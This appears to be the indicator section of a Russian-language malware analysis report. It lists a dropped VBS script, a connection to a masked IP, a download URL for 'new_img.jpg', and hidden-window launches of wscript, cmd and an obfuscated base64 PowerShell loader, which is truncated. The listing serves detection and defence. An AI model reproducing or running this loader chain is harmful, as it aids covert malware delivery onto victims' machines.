Техническая информация
- %TEMP%\ixp000.tmp\6734cd13b2406.vbs
- %TEMP%\ixp000.tmp\6734cd13b2406.vbs
- '10#.#0.102.62':80
- http://10#.#0.102.62/new_img.jpg
- '<SYSTEM32>\wscript.exe' "%TEMP%\IXP000.TMP\6734cd13b2406.vbs"
- '<SYSTEM32>\cmd.exe' /c 6734cd13b2406.vbs (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "$codigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$... (со скрытым окном)